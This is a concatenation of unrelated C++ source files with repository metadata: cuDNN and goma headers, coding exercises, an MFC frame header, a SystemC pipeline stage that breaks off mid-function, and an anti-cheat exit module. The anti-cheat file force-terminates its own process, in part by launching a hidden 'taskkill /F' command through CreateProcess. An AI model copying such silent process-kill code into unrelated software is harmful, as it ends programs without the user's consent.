static const unsigned char * _SOCKET_PNG = files::gui::debugger::states::_SOCKET_PNG;
static const size_t _SOCKET_PNG_SIZE = files::gui::debugger::states::_SOCKET_PNG_SIZE;
static const unsigned char * _THREADDUMP_PNG = files::gui::debugger::states::_THREADDUMP_PNG;
static const size_t _THREADDUMP_PNG_SIZE = files::gui::debugger::states::_THREADDUMP_PNG_SIZE;
static const unsigned char * _RUNNING_PNG = files::gui::debugger::states::_RUNNING_PNG;
static const size_t _RUNNING_PNG_SIZE = files::gui::debugger::states::_RUNNING_PNG_SIZE;
}
namespace gui::ebox
{
static const unsigned char * _LOGO_16X16_PNG = files::gui::ebox::_LOGO_16X16_PNG;
static const size_t _LOGO_16X16_PNG_SIZE = files::gui::ebox::_LOGO_16X16_PNG_SIZE;
static const unsigned char * _PAUSE_16_PNG = files::gui::ebox::_PAUSE_16_PNG;
static const size_t _PAUSE_16_PNG_SIZE = files::gui::ebox::_PAUSE_16_PNG_SIZE;
static const unsigned char * _MUSIC_FILE_16_PNG = files::gui::ebox::_MUSIC_FILE_16_PNG;
static const size_t _MUSIC_FILE_16_PNG_SIZE = files::gui::ebox::_MUSIC_FILE_16_PNG_SIZE;
static const unsigned char * _EQUALIZER_16_PNG = files::gui::ebox::_EQUALIZER_16_PNG;
static const size_t _EQUALIZER_16_PNG_SIZE = files::gui::ebox::_EQUALIZER_16_PNG_SIZE;
static const unsigned char * _MUTE_32_PNG = files::gui::ebox::_MUTE_32_PNG;
static const size_t _MUTE_32_PNG_SIZE = files::gui::ebox::_MUTE_32_PNG_SIZE;
static const unsigned char * _MUTE_16_PNG = files::gui::ebox::_MUTE_16_PNG;
static const size_t _MUTE_16_PNG_SIZE = files::gui::ebox::_MUTE_16_PNG_SIZE;
static const unsigned char * _LOGO_64X64_PNG = files::gui::ebox::_LOGO_64X64_PNG;
static const size_t _LOGO_64X64_PNG_SIZE = files::gui::ebox::_LOGO_64X64_PNG_SIZE;
static const unsigned char * _STOP_16_PNG = files::gui::ebox::_STOP_16_PNG;
static const size_t _STOP_16_PNG_SIZE = files::gui::ebox::_STOP_16_PNG_SIZE;
static const unsigned char * _SPEAKER_16_PNG = files::gui::ebox::_SPEAKER_16_PNG;
static const size_t _SPEAKER_16_PNG_SIZE = files::gui::ebox::_SPEAKER_16_PNG_SIZE;
static const unsigned char * _REPEAT_16_PNG = files::gui::ebox::_REPEAT_16_PNG;
static const size_t _REPEAT_16_PNG_SIZE = files::gui::ebox::_REPEAT_16_PNG_SIZE;
static const unsigned char * _NOTE_24_PNG = files::gui::ebox::_NOTE_24_PNG;
static const size_t _NOTE_24_PNG_SIZE = files::gui::ebox::_NOTE_24_PNG_SIZE;
static const unsigned char * _LOGO_32X32_PNG = files::gui::ebox::_LOGO_32X32_PNG;
static const size_t _LOGO_32X32_PNG_SIZE = files::gui::ebox::_LOGO_32X32_PNG_SIZE;
static const unsigned char * _NOTE2_32_PNG = files::gui::ebox::_NOTE2_32_PNG;
static const size_t _NOTE2_32_PNG_SIZE = files::gui::ebox::_NOTE2_32_PNG_SIZE;
static const unsigned char * _STOP_32_PNG = files::gui::ebox::_STOP_32_PNG;
static const size_t _STOP_32_PNG_SIZE = files::gui::ebox::_STOP_32_PNG_SIZE;
static const unsigned char * _PREVIOUS_TRACK_16_PNG = files::gui::ebox::_PREVIOUS_TRACK_16_PNG;
static const size_t _PREVIOUS_TRACK_16_PNG_SIZE = files::gui::ebox::_PREVIOUS_TRACK_16_PNG_SIZE;
static const unsigned char * _REPEAT_32_PNG = files::gui::ebox::_REPEAT_32_PNG;
static const size_t _REPEAT_32_PNG_SIZE = files::gui::ebox::_REPEAT_32_PNG_SIZE;
static const unsigned char * _NOTE_PNG = files::gui::ebox::_NOTE_PNG;
static const size_t _NOTE_PNG_SIZE = files::gui::ebox::_NOTE_PNG_SIZE;
static const unsigned char * _INFINITY_32X32_PNG = files::gui::ebox::_INFINITY_32X32_PNG;
static const size_t _INFINITY_32X32_PNG_SIZE = files::gui::ebox::_INFINITY_32X32_PNG_SIZE;
static const unsigned char * _SHUFFLE_16_PNG = files::gui::ebox::_SHUFFLE_16_PNG;
static const size_t _SHUFFLE_16_PNG_SIZE = files::gui::ebox::_SHUFFLE_16_PNG_SIZE;
static const unsigned char * _SPEAKER_32_PNG = files::gui::ebox::_SPEAKER_32_PNG;
static const size_t _SPEAKER_32_PNG_SIZE = files::gui::ebox::_SPEAKER_32_PNG_SIZE;
static const unsigned char * _NOTE3_32_PNG = files::gui::ebox::_NOTE3_32_PNG;
static const size_t _NOTE3_32_PNG_SIZE = files::gui::ebox::_NOTE3_32_PNG_SIZE;
static const unsigned char * _MUSIC_FILE_32_PNG = files::gui::ebox::_MUSIC_FILE_32_PNG;
static const size_t _MUSIC_FILE_32_PNG_SIZE = files::gui::ebox::_MUSIC_FILE_32_PNG_SIZE;
static const unsigned char * _EQUALIZER_32_PNG = files::gui::ebox::_EQUALIZER_32_PNG;
static const size_t _EQUALIZER_32_PNG_SIZE = files::gui::ebox::_EQUALIZER_32_PNG_SIZE;
static const unsigned char * _NOTE_12_PNG = files::gui::ebox::_NOTE_12_PNG;
static const size_t _NOTE_12_PNG_SIZE = files::gui::ebox::_NOTE_12_PNG_SIZE;
static const unsigned char * _PLAY_32_PNG = files::gui::ebox::_PLAY_32_PNG;
static const size_t _PLAY_32_PNG_SIZE = files::gui::ebox::_PLAY_32_PNG_SIZE;
static const unsigned char * _INFINITY_16X16_PNG = files::gui::ebox::_INFINITY_16X16_PNG;
static const size_t _INFINITY_16X16_PNG_SIZE = files::gui::ebox::_INFINITY_16X16_PNG_SIZE;
static const unsigned char * _NEXT_TRACK_16_PNG = files::gui::ebox::_NEXT_TRACK_16_PNG;
static const size_t _NEXT_TRACK_16_PNG_SIZE = files::gui::ebox::_NEXT_TRACK_16_PNG_SIZE;
static const unsigned char * _NOTE3_16_PNG = files::gui::ebox::_NOTE3_16_PNG;
static const size_t _NOTE3_16_PNG_SIZE = files::gui::ebox::_NOTE3_16_PNG_SIZE;
static const unsigned char * _PAUSE_32_PNG = files::gui::ebox::_PAUSE_32_PNG;
static const size_t _PAUSE_32_PNG_SIZE = files::gui::ebox::_PAUSE_32_PNG_SIZE;
static const unsigned char * _SHUFFLE_32_PNG = files::gui::ebox::_SHUFFLE_32_PNG;
static const size_t _SHUFFLE_32_PNG_SIZE = files::gui::ebox::_SHUFFLE_32_PNG_SIZE;
static const unsigned char * _PLAY_16_PNG = files::gui::ebox::_PLAY_16_PNG;
static const size_t _PLAY_16_PNG_SIZE = files::gui::ebox::_PLAY_16_PNG_SIZE;
static const unsigned char * _PREVIOUS_TRACK_32_PNG = files::gui::ebox::_PREVIOUS_TRACK_32_PNG;
static const size_t _PREVIOUS_TRACK_32_PNG_SIZE = files::gui::ebox::_PREVIOUS_TRACK_32_PNG_SIZE;
static const unsigned char * _NOTE2_16_PNG = files::gui::ebox::_NOTE2_16_PNG;
static const size_t _NOTE2_16_PNG_SIZE = files::gui::ebox::_NOTE2_16_PNG_SIZE;
static const unsigned char * _NEXT_TRACK_32_PNG = files::gui::ebox::_NEXT_TRACK_32_PNG;
static const size_t _NEXT_TRACK_32_PNG_SIZE = files::gui::ebox::_NEXT_TRACK_32_PNG_SIZE;
}
}
#endif //ASSET_GENERATOR_FILES_FILE_MAPPER
|
9514b5fee0dbe6ed4d4406776a14174e22cf101c | 009684d94a99d9b996322858424a6c9031caf770 | /include/cudnn_backend_base.h | b07b336a57bad2aeb56bb2f80a6e8b25065be3bc | [
"MIT"
] | permissive | kerrmudgeon/cudnn-frontend | 141ba3455779aac054a596a8ce219903935aed86 | 360d6e7164dfb7c802493fd1c0464f0d815b852a | refs/heads/main | 2023-02-22T17:33:30.214298 | 2021-01-28T23:59:31 | 2021-01-28T23:59:31 | 335,717,108 | 0 | 1 | MIT | 2021-02-03T18:25:14 | 2021-02-03T18:25:13 | null | UTF-8 | C++ | false | false | 5,570 | h | cudnn_backend_base.h | /*
* Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*/
#pragma once
#include <cudnn.h>
namespace cudnn_frontend {
///
/// OpaqueBackendPointer class
/// Holds the raws pointer to backend_descriptor
/// Usage is to wrap this into a smart pointer as
/// it helps to create and destroy the backencpointer
class OpaqueBackendPointer {
cudnnBackendDescriptor_t m_desc = nullptr; //!< Raw void pointer
cudnnStatus_t status = CUDNN_STATUS_SUCCESS; //!< status of creation of the Descriptor
public:
OpaqueBackendPointer(const OpaqueBackendPointer&) = delete; //!< Delete the copy constructor to prevent bad copies
OpaqueBackendPointer&
operator=(const OpaqueBackendPointer&) = delete;
OpaqueBackendPointer(OpaqueBackendPointer&&) = default;
/**
* OpaqueBackendPointer constructor.
* Calls the cudnnBackendCreateDescriptor. Allocates memory according to the type.
*/
OpaqueBackendPointer(cudnnBackendDescriptorType_t type) { status = cudnnBackendCreateDescriptor(type, &m_desc); }
/**
* OpaqueBackendPointer destructor.
* Calls the cudnnBackendDestroyDescriptor. Frees memory allocated in the constructor.
*/
~OpaqueBackendPointer() { cudnnBackendDestroyDescriptor(m_desc); };
/**
* Accessor.
* Returns the const reference to raw underlying descriptor.
* Treat it like the data() function of a smart pointer. Can be freed behind the back.
*/
cudnnBackendDescriptor_t const&
get_backend_descriptor() const {
return m_desc;
}
/**
* Accessor.
* Queries the status of the descriptor after calling the cudnnCreate.
*/
cudnnStatus_t
get_status() const {
return status;
}
/**
* Accessor.
* Queries the status of the descriptor returns true if all good.
*/
bool
is_good() const {
return status == CUDNN_STATUS_SUCCESS;
}
};
/*! \var A shared_ptr wrapper on top of the OpaqueBackendPointer */
using ManagedOpaqueDescriptor = std::shared_ptr<OpaqueBackendPointer>;
/*! \fn A wrapper on top of the std::make_shared for the OpaqueBackendPointer */
static ManagedOpaqueDescriptor
make_shared_backend_pointer(cudnnBackendDescriptorType_t type) {
return std::make_shared<OpaqueBackendPointer>(type);
}
///
/// BackendDescriptor class
/// Holds a Managed pointer to OpaqueBackendPointer class
/// Contains the status and error message if set after any operation.
/// If exception is disabled the user must query the status after
/// build operation in order to check if the cudnn construct was built
/// correctly.
class BackendDescriptor {
public:
//! Return a string describing the backend Descriptor
virtual std::string
describe() const = 0;
//! Get a copy of the raw descriptor pointer. Ownership is reatined and
//! gets deleted when out of scope
cudnnBackendDescriptor_t
get_raw_desc() const {
return pointer->get_backend_descriptor();
}
//! Current status of the descriptor
cudnnStatus_t
get_status() const {
return status;
}
//! Set status of the descriptor
void
set_status(cudnnStatus_t const status_) const {
status = status_;
}
//! Set Diagonistic error message.
void
set_error(const char* message) const {
err_msg = message;
}
//! Diagonistic error message if any
const char*
get_error() const {
return err_msg.c_str();
}
//! Returns a copy of underlying managed descriptor
ManagedOpaqueDescriptor
get_desc() const {
return pointer;
}
//! Initializes the underlying managed descriptor
cudnnStatus_t
initialize_managed_backend_pointer(cudnnBackendDescriptorType_t type) {
pointer = make_shared_backend_pointer(type);
return pointer->get_status();
}
protected:
/**
* BackendDescriptor constructor.
* Initializes the member variables as passed.
*/
BackendDescriptor(ManagedOpaqueDescriptor pointer_, cudnnStatus_t status_, std::string err_msg_)
: pointer(pointer_), status(status_), err_msg(err_msg_) {}
BackendDescriptor() = default;
ManagedOpaqueDescriptor pointer; //! Shared pointer of the OpaqueBackendPointer
mutable cudnnStatus_t status = CUDNN_STATUS_SUCCESS; //!< Error code if any being set
mutable std::string err_msg; //!< Error message if any being set
};
}
|
07a34490eb7a014a622c0fb20685fb130a2ba614 | 793245b00fbc57960e1a808272bbb799fa9f998c | /Part 1/Chapter 8/src/8-3.cpp | 53473d265b267365c2d7f8e799437dc030ab7a78 | [] | no_license | glucu/JoshLospinoso-CPlusPlusAFPI | 478116afd5cedbac0ca2572fdb6b721bbc40e251 | 2a0da069eae9f200ee7e9648d21da1813ddeb20f | refs/heads/master | 2023-05-11T02:30:35.267067 | 2023-05-10T23:03:42 | 2023-05-10T23:03:42 | 286,272,287 | 8 | 4 | null | null | null | null | UTF-8 | C++ | false | false | 577 | cpp | 8-3.cpp | #include "FibonacciIterator.h"
#include "PrimeNumberRange.h"
#include <iostream>
/* Integrate PrimeNumberRange into Listing 8-27, adding another loop that
* generates all prime numbers less than 5,000.
*/
int main() {
std::cout << "Fibonacci: ";
for (const auto &i : FibonacciRange{ 5000 }) {
std::cout << i << ' ';
}
std::cout << "\n\n";
PrimeNumberRange prime{ 5000 };
std::cout << "Prime: ";
std::cout << prime.getCurrent() << ' ';
while (true) {
int n{ ++prime };
if (n < 0)
return true;
std::cout << n << ' ';
}
return 0;
} |
a0c88563d82aa0b8a3938dd57bad3ed035ddec9b | 5ab7032615235c10c68d738fa57aabd5bc46ea59 | /reversed.cpp | 030ec73765d7ebf87c96cf8a1581ff6983d47c6e | [] | no_license | g-akash/spoj_codes | 12866cd8da795febb672b74a565e41932abf6871 | a2bf08ecd8a20f896537b6fbf96a2542b8ecf5c0 | refs/heads/master | 2021-09-07T21:07:17.267517 | 2018-03-01T05:41:12 | 2018-03-01T05:41:12 | 66,132,917 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 340 | cpp | reversed.cpp | #include<iostream>
#include<algorithm>
using namespace std;
#define ull unsigned long long int
ull revese(ull a)
{
ull ans=0;
while(a!=0)
{
ans=ans*10+a%10;
a/=10;
}
return ans;
}
int main()
{
int t;
cin>>t;
for(int i=0;i<t;i++)
{
ull a,b;
cin>>a>>b;
a=revese(a);
b=revese(b);
a+=b;
cout<<revese(a)<<endl;
}
} |
38a2059084ef0cb1bfad0146181167f69e7ad1f6 | a9d366e27d2a7ac064d2e2106e5ff18cf79ba5f4 | /src/MFCFrontEnd/MainFrm.h | 1c1851136b70fcd0d0bb1a6f91b6ff9794cb57ad | [] | no_license | Penguinang/fileManager | b9d33067ede145feba2895bdd0fed4cd4f48a0c4 | 5bae280a82c2e224fe25ad6b6359c66f3fb40be3 | refs/heads/master | 2020-05-24T17:11:42.115429 | 2019-05-25T04:23:23 | 2019-05-25T04:23:23 | 187,378,244 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,134 | h | MainFrm.h |
// MainFrm.h : interface of the CMainFrame class
//
#pragma once
class CManagerGUIView;
class CLeftView;
class CRightView;
class CMainFrame : public CFrameWnd
{
protected: // create from serialization only
CMainFrame() noexcept;
DECLARE_DYNCREATE(CMainFrame)
// Attributes
protected:
CSplitterWnd m_wndSplitter;
public:
// Operations
public:
// Overrides
public:
virtual BOOL OnCreateClient(LPCREATESTRUCT lpcs, CCreateContext* pContext);
virtual BOOL PreCreateWindow(CREATESTRUCT& cs);
// Implementation
public:
virtual ~CMainFrame();
CLeftView *GetLeftPane();
CManagerGUIView* GetMiddlePane();
CRightView *GetRightPane();
CComboBox &GetSearchBar();
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
protected: // control bar embedded members
CToolBar m_wndToolBar;
CStatusBar m_wndStatusBar;
CComboBox m_wndComBox;
// Generated message map functions
protected:
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnUpdateViewStyles(CCmdUI* pCmdUI);
afx_msg void OnViewStyle(UINT nCommandID);
DECLARE_MESSAGE_MAP()
};
|
c9cd6bf0056344848fa6dbaf08a92825c66c619a | e46bd22112c15d9558ad9531deef183849636d62 | /LeetCode/978 - Longest Turbulent Subarray.cpp | a31f936a96d663ab1def262812940ad76f9bd5cb | [] | no_license | jariasf/Online-Judges-Solutions | 9082b89cc6d572477dbfb89ddd42f81ecdb2859a | 81745281bd0099b8d215754022e1818244407721 | refs/heads/master | 2023-04-29T20:56:32.925487 | 2023-04-21T04:59:27 | 2023-04-21T04:59:27 | 11,259,169 | 34 | 43 | null | 2020-10-01T01:41:21 | 2013-07-08T16:23:08 | C++ | UTF-8 | C++ | false | false | 1,263 | cpp | 978 - Longest Turbulent Subarray.cpp | /*******************************************
***Problema: Longest Turbulent Subarray
***ID: 978
***Juez: LeetCode
***Tipo: Sliding Window
***Autor: Jhosimar George Arias Figueroa
*******************************************/
class Solution {
public:
int maxTurbulenceSize(vector<int>& A) {
int n = A.size();
int result = 0;
for( int i = 0 ; i < n - 1 ; ++i ){
bool incr = false;
if( A[i] == A[i + 1]) continue;
if( A[i] > A[i + 1] ){
incr = true;
}
int cnt = 1;
int j = i + 1;
while( j < n - 1 ){
if( incr ){
if( A[j] < A[j + 1] ){
cnt++;
j++;
incr = !incr;
}else{
break;
}
}else{
if( A[j] > A[j + 1]){
cnt++;
j++;
incr = !incr;
}else{
break;
}
}
}
i = j - 1;
result = max(result, cnt);
}
return result + 1;
}
};
|
2629aaf13329c4bdabe6751f41bea7d7f7a940a7 | 4508566a6dc2af865b2cdb25f0ae093422586c76 | /base/options.h | d68c961e67db20bc79a2dd7da24624c4a2cda768 | [
"BSD-3-Clause"
] | permissive | dzeromsk/goma | 687239094e7a5bbbc4d131eb1b63446f791eb11b | 350f67319eb985013515b533f03f2f95570c37d3 | refs/heads/master | 2020-03-27T06:43:57.094414 | 2019-03-18T04:49:09 | 2019-03-19T13:26:11 | 146,130,866 | 4 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,197 | h | options.h | // Copyright 2018 The Goma Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
#ifndef DEVTOOLS_GOMA_BASE_OPTIONS_H_
#define DEVTOOLS_GOMA_BASE_OPTIONS_H_
#include <sys/types.h>
#include "absl/strings/string_view.h"
#include "config_win.h"
#include "status.h"
namespace file {
class Options {
private:
// Don't construct Options directly. Use friend functions.
Options() = default;
Options(const Options&) = default;
// can be used from CreateDir only
mode_t creation_mode() const { return creation_mode_; }
int overwrite() const { return overwrite_; }
mode_t creation_mode_ = 0;
bool overwrite_ = false;
friend Options Defaults();
friend Options CreationMode(mode_t mode);
friend Options Overwrite();
friend util::Status CreateDir(absl::string_view path, const Options& options);
friend util::Status Copy(absl::string_view from,
absl::string_view to,
const Options& options);
};
Options Defaults();
Options CreationMode(mode_t mode);
Options Overwrite();
} // namespace file
#endif // DEVTOOLS_GOMA_BASE_OPTIONS_H_
|
37d2cca1806e2b0305b6db8a3fc65707f368bf53 | 3019cc02f3738fafb71dc53e1764401501ea8475 | /dev/test/so_5/messages/user_type_msgs/simple_svc/main.cpp | c0fcf75c59a60b91cc97bc8fe5193afd47bc3b11 | [
"BSD-3-Clause",
"BSL-1.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | eao197/so-5-5 | a341ac895298e08479f01ac42be15b14ad11af6b | fa0c31c84d2637dce04e13a155040150d505fbbd | refs/heads/master | 2021-06-11T03:38:26.141983 | 2020-07-04T08:39:56 | 2020-07-04T08:39:56 | 32,193,560 | 78 | 21 | NOASSERTION | 2018-10-15T05:38:09 | 2015-03-14T03:11:06 | C++ | UTF-8 | C++ | false | false | 2,035 | cpp | main.cpp | /*
* A simple test for service requests of user types.
*/
#include <so_5/all.hpp>
#include <various_helpers_1/time_limited_execution.hpp>
struct msg
{
std::string m_a;
std::string m_b;
};
class a_service_t : public so_5::agent_t
{
public :
a_service_t( context_t ctx )
: so_5::agent_t( ctx )
{}
virtual void
so_define_agent() override
{
so_default_state()
.event( [&]( const int & evt ) -> std::string {
return "i{" + std::to_string( evt ) + "}";
} )
.event( [&]( const std::string & evt ) {
return "s{" + evt + "}";
} )
.event( [&]( const msg & evt ) {
return "m{" + evt.m_a + "," + evt.m_b + "}";
} );
}
};
class a_test_t : public so_5::agent_t
{
public :
a_test_t( context_t ctx, so_5::mbox_t service )
: so_5::agent_t( ctx )
, m_service( std::move( service ) )
{}
virtual void
so_evt_start() override
{
auto svc = m_service->get_one< std::string >().wait_forever();
std::string accumulator;
accumulator += svc.make_sync_get< int >( 1 );
accumulator += svc.make_sync_get< std::string >( "Hello" );
accumulator += svc.make_sync_get< msg >( "Bye", "World" );
const std::string expected = "i{1}s{Hello}m{Bye,World}";
if( expected != accumulator )
throw std::runtime_error( "unexpected accumulator value: " +
accumulator + ", expected: " + expected );
so_deregister_agent_coop_normally();
}
private :
const so_5::mbox_t m_service;
};
void
init( so_5::environment_t & env )
{
env.introduce_coop( []( so_5::coop_t & coop ) {
using namespace so_5::disp::one_thread;
auto service = coop.make_agent_with_binder< a_service_t >(
create_private_disp( coop.environment() )->binder() );
coop.make_agent< a_test_t >( service->so_direct_mbox() );
} );
}
int
main()
{
try
{
run_with_time_limit(
[]()
{
so_5::launch( &init );
},
20,
"simple user message type service_request test" );
}
catch( const std::exception & ex )
{
std::cerr << "Error: " << ex.what() << std::endl;
return 1;
}
return 0;
}
|
2081dac69c36a035c0ee01e0e5b39800305b7be9 | 18b8c69addf3559c2ff636a04fa81dce961599d4 | /UpdateThread.h | 4377eaa9d3944f2526ee4f882df8245d0df3927d | [] | no_license | wyrover/AutoUpdate | 9ec28e19991acf17e0c0f0053b75007aed2aaf57 | a8fe3bd4ef4b3b4cef8010bec4fc25a663a5a95e | refs/heads/master | 2021-01-21T00:07:52.283604 | 2013-04-02T16:30:38 | 2013-04-02T16:30:38 | 30,515,689 | 1 | 0 | null | 2015-02-09T02:53:31 | 2015-02-09T02:53:29 | null | UTF-8 | C++ | false | false | 2,252 | h | UpdateThread.h | ๏ปฟ//------------------------------------------------------------------------------
// ๆไปถๅ็งฐ๏ผUpdateThread.h
// ๆไปถ็ๆฌ๏ผv1.0
// ๅๅปบๆฅๆ๏ผ2006-05-04 14:25
// ไฝ ่
๏ผRichard Ree
// ๆไปถๆ่ฟฐ๏ผ่ชๅจๅ็บง็บฟ็จ็ฑป
//------------------------------------------------------------------------------
#if !defined(AFX_UPDATETHREAD_H__194A514F_A0D7_4ADD_8D2A_9E7081810D82__INCLUDED_)
#define AFX_UPDATETHREAD_H__194A514F_A0D7_4ADD_8D2A_9E7081810D82__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// UpdateThread.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CUpdateThread thread
class CUpdateThread : public CWinThread
{
DECLARE_DYNCREATE(CUpdateThread)
protected:
// Attributes
public:
CString m_sConfigFilename; // ๅ็บง้
็ฝฎๆไปถๅ
BOOL m_bSilenceMode; // ้้ปๆนๅผๆง่กๅ็บง๏ผไธๆพ็คบๅ็บง็จๅบ็้ข๏ผๅชๅจๅ็บงๅฎๆฏๅๆ้็จๆท
BOOL m_bUserBreak; // ็จๆท็ปๆญขๅ็บง
double m_fPercent; // ไธ่ฝฝๆไปถ่ฟๅบฆ็พๅๆฏ
HWND m_hProgressWindow; // ๆพ็คบๅ็บง่ฟๅบฆ็็ชๅฃๅฅๆ
// Operations
public:
CUpdateThread(); // protected constructor used by dynamic creation
BOOL DoUpdate(); // ๆง่กๅ็บง
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CUpdateThread)
public:
virtual BOOL InitInstance();
virtual int ExitInstance();
virtual int Run();
//}}AFX_VIRTUAL
// Implementation
protected:
virtual ~CUpdateThread();
// Generated message map functions
//{{AFX_MSG(CUpdateThread)
// NOTE - the ClassWizard will add and remove member functions here.
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
private:
BOOL DownloadFile(CString& sFileSection); // ไธ่ฝฝๆไปถ
BOOL VerifyFile(CString &sFileSection); // ๆ ก้ชๆไปถ
BOOL UpdateFile(CString &sFileSection); // ๆดๆฐๆไปถ
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_UPDATETHREAD_H__194A514F_A0D7_4ADD_8D2A_9E7081810D82__INCLUDED_)
|
d0221690d90e7b9c416e7dc9e201532e2e61bba0 | acb5e83c2d0f74263c349e7194c129bf6dd658e4 | /GS_AC/GS_Exit.cpp | ae1e6c42f1428a4745930ab97e347d96f0a1b725 | [] | no_license | xmduke/GameShield | b1497a5f86e8c459f1c6994769cc03a6e96e7a05 | 47aec01f695f30d5c5f659f89c5422a946c32783 | refs/heads/master | 2022-12-12T05:18:14.238057 | 2020-09-12T14:24:58 | 2020-09-12T14:24:58 | 298,513,959 | 3 | 0 | null | 2020-09-25T08:28:40 | 2020-09-25T08:28:39 | null | UTF-8 | C++ | false | false | 2,765 | cpp | GS_Exit.cpp | /*
//GameShield Anti Cheat developed by MrSn0w
Purpoose:
Triggered by the protection method.
On trigger the anti cheat will ensure the games gets terminated.
*/
#include "Includes.h"
GS_Exit::GS_Exit()
{
GSData::Func::myExitProcess = reinterpret_cast<GSData::Func::tExitProcess>(GetProcAddress(GetModuleHandleA(_xor_("kernel32.dll").c_str()), _xor_("ExitProcess").c_str()));
GSData::Func::myTerminateProcess = reinterpret_cast<GSData::Func::tTerminateProcess>(GetProcAddress(GetModuleHandleA(_xor_("kernel32.dll").c_str()), _xor_("TerminateProcess").c_str()));
}
GS_Exit::~GS_Exit()
{
delete this;
}
void GS_Exit::ExitDetection()
{
while (1)
{
//First Exit
GSData::Func::myExitProcess(1);
//Second Exit
GSData::Func::myTerminateProcess(GetCurrentProcess(), 0);
//Third (nativ) Exit
NTSTATUS status = 0;
tNtTerminateProcess NtTerminateProcess = reinterpret_cast<tNtTerminateProcess>(GetProcAddress(GetModuleHandleA(_xor_("ntdll.dll").c_str()), _xor_("NtTerminateProcess").c_str()));
status = NtTerminateProcess(GetCurrentProcess(), 1);
Sleep(50);
}
}
void GS_Exit::Detection()
{
StartLogTool();
CMDExit();
ExitDetection();
}
//Use CreateProcess to kill the target Process with CMD
void GS_Exit::CMDExit()
{
DWORD pID = GetCurrentProcessId();
std::string command = _xor_("taskkill /PID");
char cmd[MAX_PATH];
char cmdLine[MAX_PATH + 50];
sprintf_s(cmdLine, "%s /c %s %ld /F", cmd, command.c_str(), pID);
STARTUPINFOA startInfo;
memset(&startInfo, 0, sizeof(startInfo));
startInfo.cb = sizeof(startInfo);
PROCESS_INFORMATION procInfo;
memset(&procInfo, 0, sizeof(procInfo));
BOOL createResult = CreateProcessA(0, cmdLine, 0, 0, FALSE, NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW,
0, 0, &startInfo, &procInfo);
DWORD procError;
if (createResult)
{
//Wait till process completes
WaitForSingleObject(procInfo.hProcess, INFINITE);
//Check Process Exit Code
GetExitCodeProcess(procInfo.hProcess, &procError);
//Avoid Memory Leak by Closing Handle
CloseHandle(procInfo.hProcess);
}
if (!createResult)
procError = GetLastError();
if (procError)
GSData::Func::myExitProcess(1);
}
void GS_Exit::StartLogTool()
{
if (!GetFileAttributesA("GS_Info.exe"))
return;
DWORD procError = 0;
STARTUPINFOA startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
startInfo.cb = sizeof(startInfo);
BOOL createResult = CreateProcessA("GameShield\\GS_Info.exe", 0, 0, 0, FALSE, NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, 0, 0, &startInfo, &procInfo);
if (!createResult)
procError = GetLastError();
CloseHandle(procInfo.hProcess);
if (procError)
GSData::Func::myExitProcess(1);
} |
d6f4ec931d1a8c008c19ac8e5e1ea10f5abb1855 | c222fc4955ef9b71df8d4156b547fdc2b519b6c2 | /micro/third_pipe.h | 184b2c141ffb990f80695e608f0f5e990353be54 | [
"MIT"
] | permissive | luisccode/micro-arq | f2c84ea1888d6f41d93e62e36b70eb787db70810 | b6cf5dcf6ecd7866097c21e6e804b528968a7212 | refs/heads/master | 2022-12-15T04:53:21.225252 | 2020-03-07T14:20:32 | 2020-03-07T14:20:32 | 242,578,329 | 1 | 0 | MIT | 2022-12-12T04:30:59 | 2020-02-23T19:33:28 | C++ | UTF-8 | C++ | false | false | 1,501 | h | third_pipe.h | #ifndef SECOND_PIPE
#define SECOND_PIPE
#include <iostream>
#include <string>
#include <iomanip>
#include <fstream>
#include "macros.h"
#define Register_file "Register_file.txt"
SC_MODULE(Third_pipe){
sc_in <bool> clk;
sc_in < sc_uint < INSTRUCTION > > res_address, res;
ifstream RF;
void write_back(){
int n_line=0;
RF.open(Register_file);
string new_line,line, res_value;
sc_uint < 4 > adress;
vector<string> all_lines;
while(not RF.eof()){
getline(RF, line);
all_lines.push_back(line);
for(int i = 4; i < OPERATOR_VALUE; ++i)
(line[i] == '1') ? adress[OPERATOR_VALUE - 1 - i] = 1 : adress[OPERATOR_VALUE - 1 - i] = 0;
if(adress == res_address){
for (int i = 0; i < INSTRUCTION; ++i)
res_value.append( to_string( res.read().range(INSTRUCTION-(i+1),INSTRUCTION-(i+1)) ) ) ;
new_line = res_value + line.substr(4,4);
}
n_line++;
}
RF.close();
int n=0;
ofstream RF2;
RF2.open(Register_file);
for(unsigned int i=0; i<all_lines.size(); i++){
if(n==n_line){
RF2<<new_line;
}
else{
